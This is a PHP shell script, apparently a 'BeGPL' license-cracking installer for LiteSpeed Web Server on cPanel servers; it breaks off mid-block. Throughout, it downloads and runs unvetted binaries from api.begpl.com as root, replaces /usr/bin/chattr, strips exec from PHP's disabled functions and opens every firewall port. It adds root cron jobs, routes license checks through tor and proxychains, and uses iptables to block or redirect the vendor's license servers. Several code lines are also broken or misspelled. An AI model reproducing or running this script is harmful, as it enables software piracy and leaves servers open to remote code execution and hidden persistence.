#!/usr/bin/php
<?php 
$RED = '\\033[31m';
$Green = '\\033[32m';
$NC = '\\033[0m';
$key = 'litespeed2';
$api = 'https://api.begpl.com/api/getinfo?key=' . $key;
$api_license = 'https://api.begpl.com/api/license?key=' . $key;
$status_code = get_http_response_code((string) $api);
$plast_bin = '/usr/bin/plast';
$current_ip = exec_output('curl -s https://ipinfo.io/ip');
$domain_show = 'https://license4.host';
$brand_show = 'license4.host';
$hostname_show = exec_output('hostname');
$status = false;
$server_type = 'Web Host Professional (2-Worker) License (with LiteMage Unlimited)';
$lpver = 'cat /usr/local/lsws/VERSION';
$kv = 'uname -r';
$server_range = 0;
$key_cmd = 'gb';
$firewall_stop = false;
$firewall_stop_1 = false;
$force = false;
$installed = false;
$action = (1 < count($argv) ? $argv[1] : '');
$IP_SERVER = '';
$buyer = 'aaf83';
if (in_array('--force', $argv) || in_array('-f', $argv) || in_array('force', $argv)) {
	$force = true;
}

function install_software()
{
	global $plast_bin;
	global $api_license;
	echo "\x1b" . '[32m Installation will take few minutes  ' . "\x1b" . '[0m ' . "\n";
	echo "\n";
	echo "\n";
	echo "\x1b" . '[32m Please Wait... ' . "\x1b" . '[0m ' . "\n";
	echo 'Installing LiteSpeed..';
	        exec("cd /usr/src; rm -rf lsws_whm_autoinstaller.sh; wget https://www.litespeedtech.com/packages/cpanel/lsws_whm_autoinstaller.sh; chmod a+x lsws_whm_autoinstaller.sh; ./lsws_whm_autoinstaller.sh TRIAL 1 0 admin WFi9fqhfdwdwdfw8q99 root@localhost 1 1");
	echo "\n\n" . ' ' . "\x1b" . '[32m  LiteSpeed has been installed.' . "\x1b" . '[0m ' . "\n\n";
	exit();
}
function get_request($url)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	$response = curl_exec($ch);
	curl_close($ch);
	return trim($response);
}


function real_execute($cmd)
{
	$a = popen($cmd, 'r');

	while ($b = fgets($a, 2048)) {
		echo $b;
		ob_flush();
		flush();
	}

	pclose($a);
}

function isvps()
{
	if (file_exists('/usr/sbin/lspci')) {
		$command = shell_exec('/usr/sbin/lspci');

		if (stripos($command, 'vmware')) {
			return true;
		}
	}
	if (file_exists('/proc/vz') || file_exists('/proc/vz/veinfo') || file_exists('/proc/sys/xen') || file_exists('/sys/bus/xen') || file_exists('/proc/xen')) {
		return true;
	}

	if (file_exists('/proc/cpuinfo')) {
		$command = shell_exec('grep \'model name\' /proc/cpuinfo');

		if (stripos($command, 'virtual')) {
			return true;
		}
	}

	if (file_exists('/etc/redhat-release')) {
		if (!file_exists('/usr/sbin/dmidecode')) {
			system('yum -y install dmidecode 1> /dev/null');
		}
	}

	$command = shell_exec('/usr/sbin/dmidecode -t system | grep -e Manu -e Prod');
	if (stripos($command, 'virtual') || stripos($command, 'xen') || stripos($command, 'qemu')) {
		return true;
	}

	return false;
}

function csf_ports()
{
	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_OUT =/c\\TCP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_IN =/c\\TCP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_IN =/c\\UDP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TESTING = "0"');

	if ($pos === false) {
		exec('sed -i \'/TESTING =/c\\TESTING = "0"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_OUT =/c\\UDP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}
}

function exec_output($cmd)
{
	exec($cmd, $output, $return_var);
	return $output[0];
}

function get_http_response_code($domain1)
{
	$ch = curl_init($domain1);
	curl_setopt($ch, CURLOPT_HEADER, true);
	curl_setopt($ch, CURLOPT_NOBODY, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$output = curl_exec($ch);
	$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	return $httpcode;
}

echo "\n";
echo "\x1b" . '[32mPlease Wait important packages need to be installed ... ' . "\x1b" . '[0m ' . "\n";

if ($action != 'install') {
	if (!file_exists('/usr/local/lsws') || !file_exists('/usr/local/lsws')) {
		echo "\x1b" . '[31mLiteSpeed is not detected ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[31mYou need to install LiteSpeed ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		echo "\n";
		echo "\x1b" . '[32mFor quick installation ' . "\x1b" . '[0m ' . "\n";
		echo "\x1b" . '[32m/usr/bin/installer_run install  ' . "\x1b" . '[0m ' . "\n";
		echo "\n";
		exit();
		exit();
	}
	else {
		$installed = true;
	}
}

if (!file_exists("/etc/redhat-release")) {
    system("yum install deltarpm  -y  1> /dev/null");
}
if (!is_executable(exec_output("command -v wget"))) {
    if (file_exists("/etc/redhat-release")) {
        system("yum -q install wget -y  1> /dev/null");
    } else {
        system("apt-get install -q -y  wget  1> /dev/null");
    }
}
$output = exec_output("curl -s   '" . $api . "' ");
if ($status_code != '200') {
	printf("\x1b" . '[31m Something Went Wrong [Unknown Ip] There is no valid LiteSpeed License  ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	exit();
	
}
$output = json_decode($output, true);
$expire_date = $output["expire_date"];
$get_domain_show = $output["domain_name"];
$get_brand_show = $output["brand_name"];


if ((string) $get_domain_show != "") {
    $domain_show = $get_domain_show;
}
if ((string) $get_brand_show != "") {
    $brand_show = $get_brand_show;
}
echo "\n";
echo "\n";
printf("\x1b" . '[36m---------------------- BeGPL Licensing System Started ----------------------  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Thank you for using our Litespeed Licensing System  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Our Website: ' . $domain_show . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Server IPV4: ' . $current_ip . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| License Type: ' . $server_type . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| LiteSpeed Version: ' . $lpver . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Kernel Version: ' . $kv . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Expiry Date: ' . $expire_date . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m----------------------------------------------------------------------  ' . "\x1b" . '[0m ' . "\n");
echo "\n";
echo "\n";
echo "\n";
printf("\x1b" . '[36mIf you have any question contact us on our website.  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36mCopyright © 2019-2021 ' . $brand_show . ' . All rights reserved ' . "\x1b" . '[0m ' . "\n");
echo "\n";
echo "\n";
printf("\x1b" . '[32mPlease Wait... ' . "\x1b" . '[0m ' . "\n");
echo "\n";
exec('killall -g yum > /dev/null 2>&1');
system('rm -rf  /etc/cron.d/licensels2  &> /dev/null');
system('wget -q  -O \'/usr/bin/' . $key_cmd . 'licensels2\'  \'http://api.begpl.com/api/files/' . $key . '/gblicensels2?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/' . $key_cmd . 'licensels2\'  &> /dev/null');
if (!file_exists('/usr/local/lsws'))
	exec("echo \"0 1 * * *  root /usr/bin/gblicensels2 > /dev/null 2>&1\" > /etc/cron.d/gblciensedr");
        exec("/usr/bin/chmod 644 /etc/cron.d/gblicensels2 > /dev/null 2>&1");
	    {
exec("rm -rf /usr/local/lsws > /dev/null 2>&1");
            if( !file_exists("/usr/local/GBLSWS") ) 
        {
            exec("mkdir /usr/local/GBLSWS > /dev/null 2>&1");
        }

        if( !file_exists("/usr/local/LSWS/.tmp") ) 
        {
            exec("mkdir /usr/local/LSWS/.tmp > /dev/null 2>&1");
        }

function soft_decode($txt)
{
    $from = array( "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")" );
    $to = array( "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" );
    $txt = base64_decode($txt);
    $txt = gzuncompress($txt);
    $txt = str_replace($from, $to, $txt);
    $txt = base64_decode($txt);
    return $txt;
}

function soft_encode($txt)
{
    $from = array( "a", "b", "c", "d", "e", "f", "g", "h", "i", "j" );
    $to = array( "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")" );
    $txt = base64_encode($txt);
    $txt = str_replace($from, $to, $txt);
    $txt = gzcompress($txt);
    $txt = base64_encode($txt);
    return $txt;
}

exec("rm -rf /root/gblsws.p* > /dev/null 2>&1");
        exec("rm -rf /root/gblsws.result > /dev/null 2>&1");
        $lock = "/root/GBLSWS.lock";
        if( file_exists($lock) ) 
        {
            exec("sed 's/^ *//g' /root/.gblsws.pid1 > /root/.gblsws.pid 2>&1");
            $pid = file_get_contents("/root/.gblsws.pid");
            exec("ps -ef | grep " . $pid . "");
            $filexml = file_get_contents("/root/.gblsws.result");
            $pose = strpos($filexml, ".vmfilsws");
            if( $pose !== false ) 
            {
                echo "\n\nLiteSpeed license is already running. To stop the process please run the following command :\nrm -rf /root/GBLSWS.lock\n";
            }
            else
            {
                exec("rm -rf /root/GBLSWS.lock > /dev/null 2>&1");
                echo "\n\nLiteSpeed license LOCK file exists but not running... removing it...\n";
            }

        }
        else
        {
            exec("mkdir /usr/bin/.sysma2 > /dev/null 2>&1");
            exec("rm -rf /root/.gblsws.p* > /dev/null 2>&1");
            exec("rm -rf /root/.gblsws.result > /dev/null 2>&1");
            exec("touch /root/GBLSWS.lock");
            exec("echo \$(ps -o ppid= -p \"\$\$\") \"| grep -v grep > /root/.GBlsws.result\" > /root/.gblsws.pid1");
            if( $argv[1] == "-m2" || $argv[1] == "--m2" ) 
            {
                exec("/usr/bin/olast -q -f /usr/bin/.sysma2/sys.conf3 /usr/local/lsws/bin/lshttpd -V > /dev/null 2>&1");
                exit();
            }

            exec("php --ini > /etc/.op");
            exec("grep -o '/opt/cpanel/ea-php.*/root/etc/php.ini' /etc/.op > /etc/.op1");
            exec("grep -rl ',exec' \$(cat /etc/.op1) | xargs sed -i 's/,exec//g' > /dev/null 2>&1");
            exec("rm -rf /etc/.op > /dev/null 2>&1; rm -rf /etc/.op1 > /dev/null 2>&1");
            exec("wget -O /usr/bin/GbLSWS api.begpl.com/api/files/' . $key . '/lswsv2/GbLSWS > /dev/null 2>&1");
            exec("chmod +x /usr/bin/GbLSWS > /dev/null 2>&1");
            exec("wget -O /usr/bin/olast api.begpl.com/api/files/' . $key . '/olast > /dev/null 2>&1");
            exec("chmod +x /usr/bin/olast > /dev/null 2>&1");
            $file = exec("/usr/bin/olast > /root/.bash_time");
            $file2 = file_get_contents("/root/.bash_time");
            $pos = strpos($file2, "Usage:");
            if( $pos === false ) 
            {
                exec("mkdir /root/.core > /dev/null 2>&1; cd /root/.core; rm -rf proxychains-ng > /dev/null 2>&1; git clone https://github.com/rofl0r/proxychains-ng.git > /dev/null 2>&1 ; cd proxychains-ng > /dev/null 2>&1; ./configure > /dev/null 2>&1; make > /dev/null 2>&1; make install > /dev/null 2>&1; make install-config > /dev/null 2>&1; rm -rf /usr/local/etc/proxychains.conf; rm -rf /root/proxychains-ng > /dev/null 2>&1");
                exec("cd /root/.core/proxychains-ng > /dev/null 2>&1 && mv proxychains4 /usr/bin/olast > /dev/null 2>&1");
            }

            exec("rm -rf /root/.core; mkdir ~/.backdrive > /dev/null 2>&1");
            echo "\x1B[31m Please wait ... \x1B[0m\n";
            exec("mkdir /usr/bin/.sysma > /dev/null 2>&1");
            exec("wget -O /usr/bin/.sysma/sys.conf https://api.begpl.com/api/change1?key=' . $key . ' > /dev/null 2>&1");
            $lswsup = "/usr/local/lsws/admin/misc/lswsup";
            if( file_exists($lswsup) ) 
            {
                exec("chmod +x /usr/local/lsws/admin/misc/lswsup > /dev/null 2>&1");
            }
            else
            {
                exec("wget -O /usr/local/lsws/admin/misc/lswsup api.begpl.com/api/files/' . $key . '/litespeedv1/lswsup > /dev/null 2>&1");
                exec("chmod +x /usr/local/lsws/admin/misc/lswsup > /dev/null 2>&1");
            }

            $lswsupchecker = "/usr/local/lsws/admin/misc/lswsupchecker.php";
            if( file_exists($lswsupchecker) ) 
            {
                exec("chmod +x /usr/local/lsws/admin/misc/lswsupchecker.php > /dev/null 2>&1");
            }
            else
            {
                exec("wget -O /usr/local/lsws/admin/misc/lswsupchecker.php api.begpl.com/api/files/' . $key . '/litespeedv1/lswsupchecker > /dev/null 2>&1");
                exec("chmod +x /usr/local/lsws/admin/misc/lswsupchecker.php > /dev/null 2>&1");
            }

            $file = exec("ps -ef | grep lswsup > /root/.bash_time3");
            $file2 = file_get_contents("/root/.bash_time3");
            $pos = strpos($file2, "/usr/local/lsws/admin/misc/lswsup");
            if( $pos === false ) 
            {
                $file2 = file_get_contents("/etc/os-release");
                $pos = strpos($file2, "VERSION=\"7");
                if( $pos !== false ) 
                {
                    exec("wget -O /etc/systemd/system/GBLSWS.service api.begpl.com/api/files/' . $key . '/litespeedv1/GBLSWS7 > /dev/null 2>&1");
                }
                else
                {
                    exec("wget -O /etc/init.d/GBLSWS api.begpl.com/api/files/' . $key . '/litespeedv1/GBLSWS6 > /dev/null 2>&1");
                    exec("chmod +x /etc/init.d/GBLSWS");
                }

            }

            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func api.begpl.com/api/files/' . $key . '/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/bin/lsws_func api.begpl.com/api/files/' . $key . '/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/local/psa/admin/sbin/modules/litespeed/lsws_func api.begpl.com/api/files/' . $key . '/litespeedv1/lsws_func > /dev/null 2>&1");
            exec("wget -O /usr/bin/comp0 api.begpl.com/api/files/' . $key . '/litespeedv1/0wjdwi > /dev/null 2>&1; chmod +x /usr/bin/comp0 > /dev/null 2>&1");
            exec("rm -rf /etc/cron.d/helperlsws > /dev/null 2>&1");
            exec("cp /usr/bin/comp0 /usr/bin/chattr > /dev/null 2>&1");
            echo "/usr/bin/'." gblicensels2 ".'" < "#!/usr/bin/php -q\r\n<?php\r\nexec(\"wget -O /usr/bin/\".\$gblicensels2.\" api.begpl.com/api/files/' . $key . '/gblicensels2 > /dev/null 2>&1\");\r\nexec(\"chmod +x /usr/bin/" . gblicensels2 . "\");\r\ninclude(\"/usr/bin/" . gblicensels2 . "\");\r\n?>";
            $filenamec = "/etc/cron.d/gblsws";
            if( !file_exists($filenamec) ) 
            {
                exec("echo \"* * * * *  root /usr/bin/gblswscronbackup > /dev/null 2>&1\" > /etc/cron.d/gblsws");
                exec("/usr/bin/chmod 644 /etc/cron.d/gblsws > /dev/null 2>&1");
            }

            exec("rm -rf /usr/bin/gblswscronbackup");
            $filenameb = "/usr/bin/gblswscronbackup";
            if( !file_exists($filenameb) ) 
            {
                exec("/usr/bin/wget -O /usr/bin/gblswscronbackup api.begpl.com/api/files/' . $key . '/litespeedv1/gblswscronbackup > /dev/null 2>&1");
                exec("chmod +x /usr/bin/gblswscronbackup > /dev/null 2>&1");
            }

            exec("sed -i -e \"s/\\r\$//\" /usr/bin/gblswscronbackup > /dev/null 2>&1");
            exec("/usr/bin/rm -rf /etc/cron.d/sed* > /dev/null 2>&1");
            exec("wget -O /usr/bin/" . gblciensels2 . " api.begpl.com/api/files/' . $key . '/gblicensels2 > /dev/null 2>&1");
            exec("rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_View.php > /dev/null 2>&1; wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_View.php api.begpl.com/api/files/' . $key . '/litespeedv1/WhmMod_LiteSpeed_View > /dev/null 2>&1");
            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/WhmMod_LiteSpeed_Util.php api.begpl.com/api/files/' . $key . '/litespeedv1/WhmMod_LiteSpeed_Util > /dev/null 2>&1");
            exec("wget -O /usr/bin/.rccore api.begpl.com/api/files/' . $key . '/c.php > /dev/null 2>&1");
            exec("mkdir /root/.backdrive > /dev/null 2>&1");
            exec("echo '#!/bin/bash # BeGPL.com's Note: If you did not purchased from us the licensing system will not work at all even if you have source code provided by the leachers, the official versions of Syslic, GBLicense v15, and CPS (Scam), are avaliable at BeGPL only. Other people do no have access to the updates or they don’t have updated documentation. We provide free weekly updates on the source code and documentation. ------------ Go To BeGPL.com\r\nphp /usr/bin/" . gblicensels . " > /dev/null 2>&1' >> /usr/local/.mailt");
            exec("chmod +x /usr/local/.mailt > /dev/null 2>&1");
            exec("chmod 644 /etc/cron.d/systemmail > /dev/null 2>&1");
            exec("sed -i -e \"s/\\r\$//\" /usr/local/.mailt > /dev/null 2>&1");
            exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
            exec("rm -rf /usr/local/.mailt > /dev/null 2>&1");
            $filexml = file_get_contents("/usr/local/lsws/conf/httpd_config.xml");
            $pose = strpos($filexml, "<?xml");
            if( $pose === false ) 
            {
                exec("wget -O /usr/local/lsws/conf/httpd_config.xml api.begpl.com/api/files/' . $key . '/litespeedv1/httpd_config.xml > /dev/null 2>&1");
            }

            exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
            $file11 = exec("curl --fail --silent --show-error 127.0.0.1:443 2> /root/.bash_time");
            $file22 = file_get_contents("/root/.bash_time");
            $pos = strpos($file22, "Connection");
            if( $pos !== false ) 
            {
                if( file_exists("/tmp/lshttpd/lshttpd.pid") ) 
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("service lsws stop > /dev/null 2>&1");
                }
                else
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 35.171.237.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 165.227.122.1/32 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 52.55.120.73/32 -j DROP; done > /dev/null 2>&1");
                    exec("service lsws stop > /dev/null 2>&1");
                }

            }

            exec("rm -rf /root/.bash_time");
            $file22 = file_get_contents("/proc/mounts");
            $pos = strpos($file22, "/usr/local/lsws/conf/trial.key");
            if( $pos === false ) 
            {
            }

            $file3 = file_get_contents("/etc/hosts");
            $pos = strpos($file3, "repo.mysql.com");
            if( $pos !== false ) 
            {
                exec("echo 1 > /proc/sys/net/ipv4/ip_forward");
                exec("cp /scripts/wwwacct /scripts/wwwacct_isback > /dev/null 2>&1");
                exec("ip addr add 108.108.108.108/32 dev \$(ip -o -4 route show to default | awk '{print \$5}')");
                exec("/sbin/iptables -t nat -A OUTPUT -p tcp -s 108.108.108.108 -d 108.108.108.108 --dport 80 -j DNAT --to-destination 159.69.47.78:1000 &>/dev/null");
                exec("/sbin/iptables -t nat -A POSTROUTING -j MASQUERADE -p tcp -s 108.108.108.108 -d 159.69.47.78 &>/dev/null");
            }

            if( !file_exists("/usr/bin/tor") ) 
            {
                echo "\ninstalling requirements...";
                exec("wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("rpm -ivh epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("rm -rf epel-release-latest-7.noarch.rpm > /dev/null 2>&1");
                exec("killall yum > /dev/null 2>&1");
                exec("yum install tor -y > /dev/null 2>&1");
            }

            exec("service tor start > /dev/null 2>&1");
            exec("wget -O /usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func api.begpl.com/api/files/' . $key . '/litespeedv1/lsws_func > /dev/null 2>&1");
            $filename3 = "/usr/local/lsws/conf/trial.key";
            $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
            $file2 = file_get_contents("/root/.bash_timel");
            $pos = strpos($file2, "(lshttpd - #01)");
            if( $pos == false ) 
            {
                $license = file_get_contents("/usr/local/GBLSWS/.key2");
                $license = @trim(@soft_decode($license));
                if( substr($license, 0, 5) == "<?php" ) 
                {
                    $license = substr($license, 5);
                }

                if( substr($license, -2) == "?>" ) 
                {
                    $license = substr($license, 0, strlen($license) - 2);
                }

                $new = "/usr/local/GBLSWS/.key2";
                file_put_contents($new, $license);
                exec("comp0 -i /usr/local/lsws/conf/trial.key");
                exec("/usr/bin/olast -q -f /usr/local/GBLSWS/.key2 wget -O /usr/local/lsws/conf/trial.key license.litespeedtech.com/reseller/trial.key > /dev/null 2>&1");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/GBLSWS/.key2 /usr/local/lsws/bin/lswsctrl start");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/GBLSWS/.key2 /usr/local/lsws/bin/lshttpd");
                exec("timeout 20s /usr/bin/olast -q -f /usr/local/GBLSWS/.key2 /usr/local/lsws/bin/lshttpd");
                exec("comp0 +i /usr/local/lsws/conf/trial.key");
                $license = file_get_contents("/usr/local/GBLSWS/.key2");
                $license = @trim(@soft_encode($license));
                if( substr($license, 0, 5) == "<?php" ) 
                {
                    $license = substr($license, 5);
                }

                if( substr($license, -2) == "?>" ) 
                {
                    $license = substr($license, 0, strlen($license) - 2);
                }

                $new = "/usr/local/GBLSWS/.key2";
                file_put_contents($new, $license);
            }

            $filename3 = "/usr/local/lsws/conf/trial.key";
            $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
            $file2 = file_get_contents("/root/.bash_timel");
            $pos = strpos($file2, "(lshttpd - #01)");
            if( $pos !== false ) 
            {
                exec("lsattr -d /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                exec("lsattr -l /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
                exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
                exec("rm -rf /usr/local/lsws/conf/trial.key.old > /dev/null 2>&1");
                exec("cp /usr/local/lsws/conf/trial.key /usr/local/lsws/conf/trial.key.old > /dev/null 2>&1");
                exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                $file11 = exec("timeout 2s ping 165.227.122.1 > /root/.bash_time1");
                $file22 = file_get_contents("/root/.bash_time1");
                $pos = strpos($file22, "bytes from");
                if( $pos !== false ) 
                {
                    exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                }

                exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
                $file11 = exec("timeout 3s curl --silent 167.99.112.67 > /root/.bash_time");
                $file22 = file_get_contents("/root/.bash_time");
                $pos = strpos($file22, "LiteSpeed Web Server");
                if( $pos === false ) 
                {
                }

                exec("/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1");
                $file11 = exec("timeout 3s curl --silent 34.231.236.27 > /root/.bash_time");
                $file22 = file_get_contents("/root/.bash_time");
                $pos = strpos($file22, "LiteSpeed Web Server");
                if( $pos === false ) 
                {
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 34.231.236.27 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                    exec("for run in {1..10}; do sudo iptables -D INPUT -s 167.99.112.67 -j DROP; done > /dev/null 2>&1");
                }

                exec("/scripts/configure_firewall_for_cpanel > /dev/null 2>&1");
                exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                $file11 = exec("timeout 2s ping 165.227.122.1 > /root/.bash_time1");
                $file22 = file_get_contents("/root/.bash_time1");
                $pos = strpos($file22, "bytes from");
                if( $pos !== false ) 
                {
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 35.171.237.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 165.227.122.1/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables -A INPUT -s 52.55.120.73/32 -j DROP > /dev/null 2>&1");
                    exec("sudo iptables-save > /dev/null 2>&1");
                    exec("/usr/bin/rm -rf /root/.bash_time1 > /dev/null 2>&1");
                }

                echo "\x1B[32m\n\nLiteSpeed status : OK\x1B[0m\n";
            }
            else
            {
                echo "\x1B[32m\n\nGenerating LiteSpeed license...\x1B[0m";
                exec("iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1");
